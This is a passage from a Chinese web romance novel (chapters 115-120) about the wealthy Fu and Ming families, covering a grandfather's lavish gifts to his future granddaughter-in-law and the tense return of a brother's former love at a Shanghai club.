傅老夫人浑浊的老眼里闪过一丝精光,“放心,这婚就算离了,也没什么大不了的……” “妈……”傅承平心头一紧。 可还没等他说完,傅老夫人就高深莫测地笑了笑,枯老的手指轻轻地捻动腕间的佛珠,眼底掠过一丝冰冷,“怎么?你以为就算不跟许婷婷离婚,你在傅家还有立足之地?” 傅承平怔楞一下,“妈,您这是什么意思?” 傅老夫人微微眯起眼,压低了声音,透着一股老谋深算的意味,“等着瞧吧……这傅家的天,还没到一个人说了算的时候。” …… 书房里,檀香袅袅。 傅老爷子没坐在他那张威严的太师椅上,而是乐呵呵地坐在沙发主位,拉着明嫣的手,让她坐在自己身边,上下打量着,越看越是满意。 “嫣儿啊,回来路上累不累?修沉这小子,最近没欺负你吧?”老爷子声音洪亮,带着显而易见的宠溺。 明嫣抿唇笑着摇头:“傅爷爷,不累的,他……他挺好的。” “叫什么傅爷爷,该改口叫爷爷了!”傅老爷子佯装不悦,随即又眉开眼笑,对着候在一旁的福伯挥挥手,“阿福,快,把我给孙媳妇准备的见面礼拿过来。” 福伯笑着应声,很快捧来一个又一个精致的紫檀木匣子,大大小小,在茶几上几乎摆满。 “来,嫣儿,看看喜不喜欢。”傅老爷子亲自打开第一个最大的匣子。 里面是一套满绿翡翠首饰,项链、耳环、戒指、手镯,颜色浓阳正匀,水头十足,在书房明亮的灯光下,流转着莹润通透的光华,一看便知是传世级别的珍品。 明嫣对翡翠略有了解,一看这成色和水头,心里便是一惊,“爷爷,这太贵重了……” “不贵重,不贵重,配我孙媳妇正好!”傅老爷子大手一挥,浑不在意,又兴致勃勃地打开第二个长条形的匣子。 里面是一套红宝石首饰,鸽血红宝石颗颗饱满,色泽鲜艳欲滴,镶嵌在繁复华丽的铂金底托上,周围缀满璀璨的碎钻,奢华夺目。 “这套你太奶奶当年最喜欢,现在传给你。”老爷子眼神里带着追忆和欣慰。 紧接着,第三个匣子打开,是一套稀有的粉钻首饰…… 第四个匣子是顶级羊脂白玉…… 每一件都价值连城,足以在拍卖行引起轰动。 明嫣看得眼花缭乱,她连连摆手:“爷爷,真的太多了,这些……这些我平时也戴不过来……” “傻孩子,谁让你天天戴了,收着,看着玩也行!”傅老爷子笑得见牙不见眼,仿佛送的只是些寻常玩意儿。 这还没完。 老爷子又拿出一个文件袋,抽出厚厚一叠文件。 “这是魔都外滩那边一套老洋房的产权,已经过户到你名下了,以后你跟修沉想来住就来住。” “这是傅氏集团百分之三的干股,每年分红不少,给你当零花钱。” “还有这个,我在瑞士银行给你存了一些金条和古董,清单在这里……” “爷爷!”明嫣彻底坐不住了,慌忙站起身,感觉手里的文件烫得惊人,“这……这真的不行!太……太夸张了!” 傅老爷子故意板起脸:“怎么不行?你是我傅家认定的孙媳妇,我的不就是你的?给你你就拿着!不然爷爷可不高兴了!” 明嫣看着老爷子那副“你不收我就生气”的模样,又是无奈又是感动,心里暖得一塌糊涂,忍不住弯起眼睛,“谢谢爷爷!” 那笑容,明媚又带着点小女生的娇憨,看得傅老爷子心花怒放。 然而,旁边有人不乐意了。 傅修沉原本慵懒地靠在单人沙发里,看着他家老爷子‘炫富’哄他老婆,一开始还觉得挺受用。 可眼见着明嫣被老爷子哄得眉开眼笑,那双漂亮的眼睛都快弯成小月牙了,全程注意力都在老爷子和他送的宝贝上,连个眼神都没分给自己,那股陈年老醋终于忍不住开始咕嘟咕嘟冒泡。 他慢悠悠地开口,嗓音里带着点不易察觉的酸:“老爷子眼光真不错,我家嫣嫣看来很喜欢啊……” 明嫣正被正被一大堆珠宝晃得眼花,闻言下意识回头:“嗯?” 她怎么嗅到一股酸溜溜的气味儿? 傅老爷子人精似的,哪能看不出大孙子那点别扭心思,当即眉毛一竖,故意道:“怎么?我给我孙媳妇点儿礼物,你小子还有意见了?” 傅修沉轻哼一声,“哪敢。老爷子挑的都是顶好的东西,我们嫣嫣喜欢,我高兴还来不及。” 他嘴上说着高兴,那眼神却分明写着“我酸死了但我不说”。 说着,他还低头,凑近明嫣耳边,声音不大不小,刚好能让老爷子听见:“乖,爷爷给的就收着,咱不跟他客气。不要白不要。” 明嫣被他弄得哭笑不得,手肘轻轻往后顶了他一下。 傅修沉挨了一下,非但不收敛,反而得寸进尺地把下巴搁在她发顶,“老爷子还有吗?你再想想,保险柜里、库房里,有没有什么压箱底的,忘了拿出来的?比如什么明代官窑的瓷瓶,宋代名家的字画……我们嫣嫣不挑。” 傅老爷子也被他这混不吝的样子气笑了,“好你个臭小子!惦记上我的老底了是吧?没了!一滴都没了!剩下的都得留着给我重孙子当见面礼!” “重孙子?”傅修沉挑了挑眉,“那您得更大方点。现在这点,也就够哄哄我老婆开心的。” “嘿!你这混账东西!”老爷子吹胡子瞪眼,“我给你的还少?整个傅家都快被你搬空了!” “那不一样,傅家是傅家,您私藏是您私藏。” “我私藏不就是傅家的?” “现在是嫣嫣的了。” “……” “行了行了!”傅老爷子最终败下阵来,又好气又好笑地挥挥手,“你赶紧滚蛋吧!看着你就来气!嫣儿乖,以后这小子欺负你,告诉爷爷,爷爷拿家法抽他!” 第116章 大哥的初恋白月光…… 傅修沉目的达到,见好就收,当即揽着明嫣往外走。 刚走出书房没几步,就在二楼的旋转楼梯口碰见了小姑傅承慧。 傅承慧显然是特意等在这里的。 她穿着一身藕荷色提花旗袍,外罩羊绒披肩,妆容精致,脸上堆着恰到好处的笑容,只是那笑意并未抵达眼底。 “修沉,明小姐,和老爷子聊完了?”她上前一步,语气热情,目光却像探照灯一样在明嫣身上扫视,带着不易察觉的审视和衡量。 傅修沉脸上的慵懒笑意淡了些,将明嫣往自己身后带了带,用半个身子不着痕迹地挡在她前面,隔绝了傅承慧的视线,语气平淡无波:“嗯。小姑有事?” 他这维护的姿态太过明显,傅承慧脸上的笑容僵硬了一瞬,随即又扯开:“没事,就是看看。你们这是要出去?” “送嫣嫣回明家。” 傅承慧像是没察觉到傅修沉的冷淡,依旧笑着,话却是对着明嫣说的:“明小姐真是好福气,能让我们修沉这么上心。听说你是在江南做律师?哎,女孩子家,抛头露面的总归辛苦,以后嫁进傅家,倒是可以轻松些了。” 明嫣眉头几不可察地蹙了一下,还没开口,傅修沉已冷声接过话头:“嫣嫣的事业她自己喜欢就好,日后想她做什么就做什么,不劳小姑费心。” 傅承慧脸上的笑容瞬间僵硬,“修沉你这说的什么话,小姑也是关心……” “小姑你忙,那我们先走了……”傅修沉无意多谈,搂紧明嫣,径直从她身边走过。 傅承慧站在原地,看着两人相携离去的背影,保养得宜的脸上最后一丝笑容也挂不住了,眼神彻底冷了下来。 下到一楼,只见陆凛正倚在廊柱上,低头专注地打着手机游戏,那头金毛在灯光下依旧耀眼。 他似乎刚结束一局游戏,不耐烦地“啧”了一声,抬手耙了耙头发。 一抬眸,正好看见傅修沉搂着明嫣下楼。 陆凛的视线不由得落在明嫣怀里的箱子上,嘴角扯出 陆凛若有所觉,抬起头,正好对上他大哥没什么温度的一个要笑不笑的弧度,语气带着惯有的散漫:“哟,发财了?” 明嫣一听到‘发财’二字,就想到方才在书房的那幕,脸颊微热。 身侧的傅修沉已面无表情地扫了陆凛一眼,“怎么?眼红?眼红的话自己也找个媳妇领到老爷子跟前去。找不到就憋着。” 陆凛一噎,差点被自己的口水呛到,没好气地“嘁”了一声,低头继续戳他的手机屏幕,嘴里嘟囔:“谁眼红了……小爷我才不稀罕……” 傅修沉懒得再理他,揽着明嫣,径直穿过厅堂,朝大门外走去。 等到傅修沉的车驶离老宅,傅承慧才从楼梯上下来,走到陆凛身边,看着儿子这副吊儿郎当的样子,更是气不打一处来。 “你看看你!像什么样子!”傅承慧满脸的恨铁不成钢,“你大哥把你塞到那么个小律所,明摆着是防着你,不让你接触跃华生物的核心产业!你还真甘心在那里当个跑腿助理?被他卖了还帮他数钱!” 陆凛正烦着,闻言头也不抬,手指在屏幕上划得飞快,语气不耐:“妈,我的事你不用管。” “我不管谁管?!”傅承慧声音拔高了些,“你就不能争点气?那个明嫣,也不知道给修沉和你爷爷灌了什么迷魂汤,一个个把她捧在手心里!我看她就是个……” “妈!”陆凛猛地打断她,抬起头,那双桀骜的眼睛里带着明显的不悦,“你少在背后说明嫣坏话。” 傅承慧一愣,难以置信地看着儿子:“你……你帮她说话?你才跟她认识几天?!” 陆凛面无表情地将手机揣回兜里,站直身体,他比傅承慧高出一个头还多,垂眸看着她,语气带着几分他自己都没察觉的维护:“我跟她是不熟。但她做事认真,脑子清楚,也没仗着大哥的势摆架子。至少她不会在背后嚼人舌根……” 他顿了顿,又补了一句:“大哥眼光不差。您就别瞎操心了。” “你……你这个糊涂东西!”傅承慧被他这番话气得胸口起伏,指着他的手都在发抖,“我真是白养你了!你就跟你爸一样,都是没出息的东西!” 陆凛脸色瞬间沉了下来,眼神变得又冷又戾:“别提我爸!” 他不再看傅承慧,转身大步朝外走去,背影决绝。 “陆凛!你给我站住!”傅承慧在他身后气急败坏地喊道。 然而陆凛脚步丝毫未停,很快就消失在暮色里。 傅承慧独自站在空旷的厅堂里,看着儿子消失的方向,又想到方才在楼梯口,二哥傅承平跟自己说的那些话,只觉得一股寒气从心底冒起,交织着不甘与愤懑,让她的面部表情都显得有些扭曲。 她不能再坐以待毙了! …… 傅修沉的车驶入明家别墅所在的林荫道时,天色已近黄昏。 冬日的阳光没什么温度,懒洋洋地斜铺在干净的路面上。 明嫣靠在副驾驶座上,怀里还抱着老爷子给的其中一个紫檀木小匣子,指尖无意识地摩挲着上面冰凉光滑的雕花。 车子转过弯,明家那栋熟悉的白色小楼映入眼帘。 然而,明嫣的视线却被停在别墅门口的一辆陌生的黑色劳斯莱斯库里南吸引了。 流畅霸气的车身线条,在夕阳下泛着幽冷的光泽,车牌是连号的京A。 “嗯?”明嫣微微直起身,有些疑惑地眨了眨眼,“家里来客人了?” 看这车和车牌,来头显然不小。 傅修沉也瞥了一眼那辆车,深邃的眼底掠过一丝几不可察的波动,但他没说什么,只是平稳地将车停在了那辆库里南后面。 两人刚下车,脚还没踏上台阶,就听见别墅里面猛地传来一声压抑着极大怒火的低吼,隔着厚重的门板都清晰可闻—— “滚!” 是明燃的声音! 明嫣的心猛地一跳,和傅修沉对视一眼,都从对方眼中看到了诧异。 大哥虽然脾气算不上多温和,但极少如此失态。 出什么事了? 她来不及多想,也顾不上什么礼仪,伸手就去推门。 别墅的大门没锁,应手而开。 玄关处光线稍暗,客厅里明亮的光线涌出来,勾勒出一个纤细身影。 那是一个极漂亮的女人。 穿着一身质地精良的杏色羊绒连衣裙,外搭同色系长大衣,身姿窈窕,气质温婉。 此刻她正微微低着头,一手捂着嘴,肩膀轻轻耸动,似乎在极力压抑着哭泣,晶莹的泪珠不断从她白皙的脸颊滑落,我见犹怜。 明嫣的脚步倏地顿住,瞳孔微缩,眼底闪过一丝难以置信。 ……林晚辞? 大哥的……初恋白月光? 她不是……多年前就嫁去国外了吗? 怎么会突然出现在这里? 第117章 白月光的威力(加更) 林晚辞显然也没料到会有人突然进来,抬起泪眼朦胧的脸。 当她看清站在门口的是明嫣时,脸上瞬间闪过一丝极其复杂的情绪,有尴尬,有难堪,也有一丝不易察觉的慌乱。 她飞快地用手背擦去脸上的泪痕,强挤出一个比哭还难看的笑容,声音还带着哽咽:“嫣……嫣嫣?你回来了……” 她的目光下意识地往明嫣身后瞟去,当看到身后的傅修沉时,明显愣了一下,似乎有些意外,但此刻她也无暇他顾,只是匆匆对明嫣点了点头,便低着头,快步从他们身边擦过。 明嫣下意识地侧身让她过去,看着她消失在门外的背影,又回头看向客厅的方向,心里疑窦丛生。 她抿了抿唇,拉着傅修沉的手,快步走了进去。 客厅里,气氛压抑得让人喘不过气。 明燃背对着门口,站在巨大的落地窗前。 夕阳的血色余晖透过玻璃,将他挺拔的身影拉得很长,只见他单手插在西裤口袋里,另一只垂在身侧的手紧握成拳,手背上青筋虬结,微微颤抖着。 苏婉晴和明庭峰坐在主位沙发上,脸色也都有些不好看。 听到身后的脚步声,明燃猛地回过头。 当看清是明嫣和傅修沉时,他眼底那未褪尽的骇人戾气才强行压下去几分,但紧绷的下颌线和周身散发的低气压依旧显示着他此刻极差的心情。 “哥……”明嫣小心翼翼地唤了一声,走到他身边,担忧地看着他,“你……没事吧?刚才……是林晚辞?” 明燃喉结剧烈地滚动了一下,别开脸,避开妹妹探究的目光,声音沙哑得厉害:“没事。” 他显然不愿多谈。 苏婉晴见状,连忙起身打圆场,“嫣儿和修沉回来了?正好,快过来坐。刚才……没什么事,一点小误会。” 她的目光落在明嫣怀里抱着的盒子上,顺势转移了话题,“咦?嫣儿,你这抱的是什么?” 明嫣知道母亲是在缓和气氛,便也顺着她的话,将手里的紫檀木匣子放到茶几上,打开。 瞬间,满室生辉。 那套满绿翡翠在客厅明亮的灯光下,流转着莹润通透的光华,一看便知不是凡品。 苏婉晴是识货的人,一眼就看出这套翡翠的价值,惊讶地掩住了嘴:“这……这是?” 明嫣有些不好意思地笑了笑:“是傅爷爷给的见面礼。” 她又指了指门口方向,“车上还有好几箱……老爷子他有点儿太热情了。” 明庭峰也被这大手笔惊了一下,端着茶杯的手顿了顿,看向傅修沉的眼神多了几分深意。 傅修沉姿态从容地坐在明嫣身边,对上明庭峰的目光,微微颔首,“伯父伯母,我家老爷子的一点心意,希望你们不要嫌弃。” 明庭峰放下茶杯,脸色缓和了许多,“傅老真是太客气了。嫣儿年纪小,以后还要修沉你多担待。” “伯父言重了,能娶到嫣嫣,是我的福气。” 傅修沉回答得滴水不漏,目光转向依旧站在窗边的明燃,语气如常,“明总,好久不见。” 明燃深吸一口气,强行压下心头翻涌的烦躁,转过身,脸上已恢复了几分平日里的冷峻,只是眼底的红血丝依旧明显。 他走到单人沙发坐下,长腿交叠,目光在傅修沉和紫檀木匣子上扫过,扯了扯嘴角,语气听不出什么情绪:“傅老爷子破费了。” 气氛似乎暂时恢复了正常。 苏婉晴笑着吩咐佣人去准备茶点和晚饭。 明嫣挨着母亲坐下,小声说着在傅家老宅的见闻,刻意避开了林晚辞的话题。 傅修沉则与明庭峰聊着些金融时事,言谈间分寸把握得极好。 明燃靠在沙发里,指尖无意识地摩挲着扶手,眼神有些放空,显然心思并不在这里。 过了一会儿,他忽然站起身,“我上楼处理点文件。” 说完,也不等众人反应,便径直朝楼梯走去,背影透着一种难以言喻的疲惫和烦躁。 明嫣看着大哥消失在楼梯转角,心里的疑惑更重了。 她凑近苏婉晴,压低声音问道:“妈,刚才到底怎么回事?林晚辞怎么会来我们家?她不是应该在国外吗?” 苏婉晴叹了口气,看了一眼楼上方向,无奈地摇摇头:“我们也不知道她怎么会突然回国,还找到了家里。她一来就说要见阿燃,两人在书房谈了没多久,就吵起来了……具体为了什么,阿燃不肯说。” 她顿了顿,压低声音,“我看她那样子,像是过得并不好,眼睛都哭肿了……唉,这都多少年的事了,怎么又……” 明庭峰重重哼了一声,语气带着不满:“不管为了什么,都不该找到家里来!当年是她自己选择嫁去国外的,现在又回来纠缠阿燃,像什么样子!” 明嫣抿了抿唇,心里大致有了猜测。 林晚辞是大哥的初恋,也是他心头一道一直没能愈合的伤疤。 当年两人爱得轰轰烈烈,几乎到了谈婚论嫁的地步。 可后来林晚辞却迫于家族的压力下,选择了远嫁欧洲,直接去了国外,连个像样的交代都没有给大哥。 大哥为此消沉了很久,甚至一度离开国内去开拓海外市场,直到近几年才慢慢走出来。 如今她突然回来,还一副受尽委屈的模样找来家里…… 这到底演的哪一出? 傅修沉安静地坐在一旁,将明家众人的反应尽收眼底,他没有插话,只是端起茶杯,慢条斯理地抿了一口,深邃的眼底掠过一丝了然。 他自然是知道林晚辞其人的。 甚至,比明家人知道的,可能还要多一点。 比如,她那个看似风光无限的婚姻,内里早已千疮百孔。 比如,她那个年长她二十岁的丈夫,半年前因为投资失败,已濒临破产。 比如,她这次回国,目的恐怕并不单纯。 不过,这些他暂时不打算说。 这是明燃的私事,需要他自己去处理和面对。 他现在更关心的,是他家小姑娘会不会因此受到影响。 他侧过头,看着明嫣微微蹙起的眉头和若有所思的表情,伸出手,在茶几下方轻轻握住了她的手。 第118章 给傅修沉点十八个嫩模 眼见着临近订婚宴,许宴清几个早早地就回了魔都。 几个要好的兄弟特意在会所开了见大包间给许宴清接风洗尘。 许宴清懒散地陷在沙发里,一条胳膊随意搭在旁边嫩模的肩上,指尖晃着杯威士忌,冰块撞击杯壁,发出清脆的声响。 他斜眼瞅了圈围坐的几个狐朋狗友,都是沪上圈子里玩得最野的那拨。 “啧,我说,你们发现没?”一个黄毛吊儿郎当地开口,成功吸引了所有人的注意,“咱们傅少可是有日子没出来跟哥几个聚了吧?” 旁边一个穿着花衬衫的少爷立刻接茬:“人家可是跃华生物的老总,跟咱们这种游手好闲的公子哥儿可不一样……” “之前回江南几次,不是一直都聚的嘛!好家伙!这订个婚,人直接没了,怕不是魂儿都被明家那小丫头给勾没了!” “哈哈哈!”众人一阵哄笑。 另一个梳着油头的男人挤眉弄眼:“傅少以前多冷清一人啊,现在倒好,成了二十四孝未婚夫了!我看啊,等过几天订婚宴一办,这哥们儿就算彻底被拴牢了,再想叫他出来逍遥?难喽!” 许宴清仰头灌了口酒,劣质的酒精烧着喉咙,却烧不起他看热闹不嫌事大的兴致。 他咂咂嘴,坏水儿咕嘟咕嘟往外冒:“可不是嘛!想想以后出来玩,少了傅修沉那张冷脸镇场子,多没劲!” 他眼珠子一转,猛地坐直身体,一拍大腿:“不行!不能就这么让他‘从良’了!得在他迈进婚姻坟墓前,再给他好好上一课!让他尝尝什么叫最后的疯狂!” “许少,你想怎么玩?”花衬衫少爷来了精神。 许宴清咧嘴一笑,露出两排白牙,笑容痞气又蔫坏:“把他叫出来!哥们儿今天给他点十八个嫩模,环肥燕瘦,各种类型应有尽有!让他挑花眼!看他还记不记得家里那个小律师!” “卧槽!许少牛逼!” “这主意绝了!” “快快快!打电话!” 包间里顿时响起一片暧昧的哄笑和口哨声,气氛热烈得快要掀翻屋顶。 谁也没有注意到,包间的厚重的雕花木门并未完全关紧,一道挺拔冷峻的身影恰好从门外经过。 明燃今晚约了人在隔壁谈事,刚结束出来,就听见许宴清那大嗓门嚷嚷着‘傅修沉’的名字…… 他的脚步倏地顿住,脸色瞬间沉了下去,眸底像是结了一层寒冰。 傅修沉! 好得很! 这才几天? 就敢背着嫣嫣出来搞这种乌烟瘴气的名堂! 还十八个嫩模? 明燃薄唇紧抿,下颌线绷得像刀锋。 给老子等着! …… 是夜。 “栩光”会所,魔都顶级的销金窟。 明燃鲜少来这种场合,震耳欲聋的音乐像是直接敲在他的太阳穴上,让他眉头拧成了死结。 他沉着脸,坐在与许宴清包厢一墙之隔的VIP休息室里,面前的威士忌一口没动。 他事先就打点好了会所的服务生,让他们一见到傅修沉露面就立刻通知他。 理智上,他觉得傅修沉未必会来,那家伙对明嫣的在意,他看在眼里,不像作假。 但情感上,一想到许宴清那群纨绔嘴里嚷嚷的十八个嫩模和什么狗屁最后的疯狂,他心头的邪火就压不住地往上窜。 他倒要看看,傅修沉是不是真敢在订婚宴前搞这种幺蛾子! 然而,不过半小时,服务生就小心翼翼地推门进来,低声汇报:“明总,傅少来了,刚进隔壁‘星河’包间。” 明燃的脸色瞬间沉得能滴出水来。 好啊! 傅修沉! 你他妈还真敢来! 他猛地站起身,周身散发出的骇人冷气让路过的一个小明星吓得缩了缩脖子,没敢搭讪。 明燃几步就跨到星河包间门口,他甚至懒得敲门,抬脚—— “砰!” 一声巨响,厚重的实木包厢门被他狠狠踹开,撞在墙上发出沉闷的回响。 “傅修沉!”明燃厉声喝道,目光如炬地扫向包厢内。 然而,预想中左拥右抱,纸醉金迷的场景并未出现。 包间里灯光是柔和的暖色调,播放着舒缓的蓝调音乐,空气里是淡淡的果香和酒香,没有丝毫呛人的烟味。 而沙发上,傅修沉好整以暇地靠坐着,长腿交叠,手里端着一杯色泽漂亮的鸡尾酒。 而他身边,那个正捧着一杯插着小纸伞,看起来花里胡哨的饮料,眨巴着大眼睛,一脸茫然望过来的…… 不是他妹妹明嫣又是谁?! “大哥?”明嫣看着破门而入,一脸杀气腾腾的明燃,懵了,“你怎么在这儿?” 明燃也彻底愣住了,大脑有一瞬间的宕机。 “……嫣儿?” 待反应过来,明燃的喉结不由得滚动了一下,“你……你怎么会在这儿?” 明嫣举了举手里的鸡尾酒杯,“傅修沉说这里的调酒师很厉害,有几款特调鸡尾酒在外面喝不到,特意带我来尝尝。” 她说着,还用小勺子舀了杯沿装饰的一颗小樱桃,“嗯,还不错,大哥,你要不要试试?” 而此时,傅修沉这才慢悠悠地放下酒杯,抬眸看向僵在门口的明燃,唇角勾起一抹似笑非笑的弧度,“明总,好巧。火气这么大?要不要坐下来喝一杯败败火?” “……” “不用了!”他从牙缝里挤出三个字,语气硬邦邦的,“你们……慢慢喝!” 说完,他转身就要走。这地方他是一秒也待不下去了! 然而,就在他转身的刹那,眼睛的余光突然瞥见一道再熟悉不过的倩影子—— 林晚辞长得极其漂亮。 那张精致的脸甚至不输当红流量明星,皮肤白得近乎发光,一身黑色丝绒旗袍被她穿得性感又妖娆高开叉的裙摆下是一条笔直白皙的大长腿,细腰不堪一握,胸前的饱满弧度更是惹人遐思。 与他记忆中那个温婉娴静的女孩截然不同。 像是换了一个人…… 而此时的林晚辞正和几个朋友低头说着什么,唇角勾着慵懒又疏离的笑意,周围不少男人的目光都像黏在了她身上,有大胆地借着酒意想上前搭讪,却被她轻描淡写地拒绝。 明燃的脚步像是被钉在了原地,只剩下心脏剧烈跳动带来的轰鸣声,震得他耳膜嗡嗡作响…… 第119章 这么凶做什么?摸摸也不行? 就在这时,一个明显喝高了的男人,腆着啤酒肚摇摇晃晃地凑近林晚辞,肥腻的手竟直接朝着她裸露的胳膊摸去—— “美女,一个人喝多没意思,陪哥哥喝一杯……” 林晚辞的眉头几不可察地蹙起,身体下意识地往后避了避。 然而,那醉汉不依不饶,竟得寸进尺地想揽她的腰! 场面一时有些混乱。 明燃的瞳孔骤缩,身体比大脑反应更快。 等他意识到的时候,他已经几步跨了过去,一把攥住了那醉汉的手腕,力道大得几乎能捏碎对方的骨头。 那醉汉吃痛,酒醒了大半,抬头对上明燃那双阴沉得快要滴水的眸子,气焰瞬间矮了半截,但嘴上还不服软:“你……你谁啊?多管闲事!” 明燃甚至懒得跟他废话,手腕用力一拧一推,“滚!” 醉汉惨叫一声,踉跄着倒退好几步,被同伙扶住,灰溜溜地跑了。 明燃看都没看那人,他的目光自始至终都落在林晚辞身上,嗓音又沉又肃,“回家去!” “回哪儿?”林晚辞揉着被捏红的手腕,抬眸看向他,嗓音又娇又软,说话的时候更像是带着钩子,“回你家吗?” 明燃的唇角紧抿,脸色瞬间变得更加难看。 他猛地伸手,一把攥住了林晚辞的手腕,作势就往外走。 他不知道曾经温柔似水的林晚辞怎么突然变成了这样…… 简直就像是换了一个人! 曾经的她说话细声细语,就连牵个手都会脸红。 如今却穿成这样,来这种乌烟瘴气的地方…… 可明燃却知道,不管她怎么变——她总能轻而易举地挑动自己所有的情绪。 一如既往。 “明燃,你慢点……”林晚辞踩着细高跟,踉跄地跟着。 见明燃没理自己,她又挣了挣自己的手腕,“你弄疼我了……” 明燃猛地停下脚步,目光不由得落在她手腕上的那抹红痕上…… 他几乎下意识地松开了手——他方才明明没怎么用力。 林晚辞轻笑一声,当即伸手握住明燃的手腕,纤细的手指拂过他小臂上的青筋。 明燃却像是触了电一般,抽回手,忍不住皱眉瞪她。 “这么凶做什么?摸摸也不行?”林晚辞的脸上带着笑,嗓音又娇又软。 明燃的薄唇紧抿,他逼近一步,在僻静走廊转角将她抵在冰凉的墙壁上。 阴影笼罩下来,他高大的身躯将她完全困住,周身散发着的低气压几乎能凝成实质。 “林晚辞,”他几乎是咬着牙,每个字都像是从齿缝里碾磨出来,“你到底想干什么?” 走廊尽头隐约的光线勾勒出她旗袍下窈窕诱人的曲线,那片裸露的背部肌肤在黑暗中泛着冷白的光,刺得他眼睛生疼。 林晚辞微微仰着头,红唇在昏暗光线下像熟透的樱桃,她轻轻笑了一下,“怎么?不是昨天让我滚了吗?现在连前女友干什么都要管了吗?” ‘前女友’三个字像针一样扎在明燃心上。 他眼底翻涌着骇人的戾气,猛地俯身逼近,鼻尖几乎要碰到她的,灼热的呼吸交织,“少跟我来这套!你不是嫁去国外当你的富太太了?怎么,你那位‘丈夫’满足不了你,让你要回国内这种场合来找乐子?” 这话刻薄又伤人。 林晚辞的脸色瞬间白了几分,睫毛剧烈地颤抖了一下,但很快,她又恢复了那副慵懒随意的模样,甚至伸出涂着蔻丹的指尖,轻轻点了点明燃紧绷的胸口。 “是啊,”她吐气如兰,眼神却像带着钩子,“国外的饭吃腻了,就想回来尝尝……旧口味,不行吗?” “你!”明燃被她这副油盐不进的模样彻底激怒,理智的弦啪地一声断裂。 “林晚辞,”他的声音沙哑得不成样子,“你到底想怎么样?” 林晚辞看着他,看了很久,久到明燃几乎以为她不会回答。 她却突然开了口,“明燃,我离婚了。” 有那么一瞬间,明燃甚至以为自己幻听了。 她说什么? 离婚? 那个她当年不惜放弃他,也要远嫁重洋选择的婚姻,就这么……离了? 巨大的荒谬感如同冰水,兜头浇下。 “所以?”明燃的声音冷得掉冰碴,带着连他自己都厌恶的讥讽,“这就是你回国的原因?离了婚,无处可去,所以想起我了?林晚辞,你把我明燃当什么?回收站吗?” 最后几个字,他几乎是咬着后槽牙挤出来的。 当年她走得有多决绝,连一个像样的解释都没有。 如今她婚姻失败,转头就来找他? 天下哪有这么便宜的事! 林晚辞被他话里的刻薄刺得眼睫轻颤,那双氤氲着水光的眸子抬起来,里面盛满了复杂的情绪。 “阿燃……”她声音软了下来,带着细微的哽咽,试图去碰他紧绷的手臂,“我知道我以前错了,我后悔了,真的后悔了……” “后悔?”明燃猛地甩开她的手,后退一步,拉开了两人之间过于暧昧的距离。 走廊尽头的光线落在他冷硬的侧脸上,勾勒出拒人于千里之外的疏离。 “后悔什么?” 他看着她瞬间苍白的脸,心底那股无名火烧得更旺,让他口不择言:“怎么?你觉得我会要一个离了婚的女人?” “我不是……”林晚辞急切地想解释,眼泪终于忍不住滚落下来,“我当时是迫不得已,我……” “够了!”明燃厉声打断她,眼神里是全然的不耐和冰冷,“收起你那套说辞。林晚辞,我不管你是迫不得已还是心甘情愿,那都是你的事。我们之间,早在你选择登上那架飞机的时候,就已经彻底结束了。” 他整理了一下刚才因动作过大而微皱的袖口,姿态恢复了一贯的冷峻矜贵,仿佛刚才那个失控地将她按在墙上质问的人不是他。 “以后,不要再出现在我面前。”他丢下这句话,转身欲走,背影决绝,没有一丝留恋。 “明燃!”林晚辞在他身后带着哭腔喊道,声音破碎,“你就……真的不能再给我一次机会吗?” 明燃的脚步微顿,却没有回头,大踏步离开。 林晚辞像是再也绷不住,蹲下身子终于哭出了声…… 第120章 不穿……更好看 而此时的‘栩光’会所。 明嫣略有些郁闷地皱起了眉头,手里那杯特调鸡尾酒也变得索然无味。 她放下酒杯,轻轻叹了口气。 曾几何时,她是真的以为林晚辞会是自己未来的大嫂,也很喜欢那个说话温声细语的大姐姐。 直到后来,林晚辞一声不吭地远嫁欧洲…… 那段时间,明燃整个人都垮了。 她亲眼见过大哥酗酒飙车,整夜整夜的不回家,后来更是直接跑去国外开拓市场,一待就是好几年。 虽说后来阴差阳错地在风投界闯出了名堂,可性格却变得越发的阴郁冷硬。 她已经很久没见过大哥笑了。 “怎么了?又在瞎琢磨什么呢?” 傅修沉见她蔫蔫的,像只被霜打了的小茄子,长臂一伸,便将人揽进了怀里,指尖轻轻刮了刮她挺翘的鼻尖儿,“小眉头皱得都能夹死蚊子了。” 明嫣没好气地拍开傅修沉的手,“别闹。” 傅修沉抓住她放在膝上的手,指腹摩挲着她细嫩的指尖,带来一阵细微的电流感。 明嫣忍不住瞪他,想抽回手,却被他更紧地握住。 “少操心你大哥的事。”他嗓音低沉,带着点漫不经心的纵容,“三十多岁的人,有自己的判断。” 明嫣蹙眉:“我就是担心……林晚辞突然回国,会不会是离婚了?我怕大哥他又……” “恋爱脑?”傅修沉挑眉,唇角勾起一抹似笑非笑的弧度。 明嫣被他说中心事,脸颊微热,却没反驳。 傅修沉揽着她的细腰将人往怀里带了带,指尖在她腰间轻轻划着圈:“放心,她离不了。” “你怎么知道?” “许宴清那个大嘴巴说的。”傅修沉语气随意,“他有个朋友在欧洲,对卡佩家知根知底。说是贵族,早落魄了。这些年全靠林家填窟窿,现在投资失败濒临破产,更不可能放过林晚辞这棵摇钱树。” 明嫣惊讶地睁大眼:“林家不是书香门第吗?哪来那么多钱填窟窿?” 傅修沉低笑,捏了捏她的鼻尖:“傻不傻?林家祖上攒下的家底够厚,虽说比不上豪门,养个空架子贵族还是够的。卡佩家现在就是落地的凤凰,抓着林家这最后一根稻草,怎么可能轻易放手?” 他顿了顿,眼神里带着洞悉一切的嘲讽:“也就林家还捧着那点虚无缥缈的贵族身份当宝,昏了头,非要攀这门亲事。” 明嫣若有所思地点点头,随即又担心起来:“那我哥他……” “放心,”傅修沉揽着她往外走,指尖在她腰间不轻不重地捏了一下,“你哥精着呢。倒是你……” 他忽然停下脚步,将她抵在走廊墙壁与自己胸膛之间,眸光暗沉地盯着她,“后天就要订婚了,傅太太还有闲心操心别人?嗯?” 那声“傅太太”被他咬得又低又磁,带着说不清的缱绻。 明嫣脸颊一热,刚要反驳,唇就被堵住了。 “唔……” …… 与此同时,明燃沉着脸回到家。 客厅里只亮着一盏落地灯,昏黄的光线将他挺拔的身影拉得老长。 他扯开领带扔在沙发上,脑海里却不受控制地浮现出林晚辞那双氤氲着水光的眸子…… 心烦意乱。 他走到酒柜前倒了杯红酒,冰凉的液体滑过喉咙,却浇不灭心头的烦躁。 良久,他拿出手机,拨通了助理的电话。 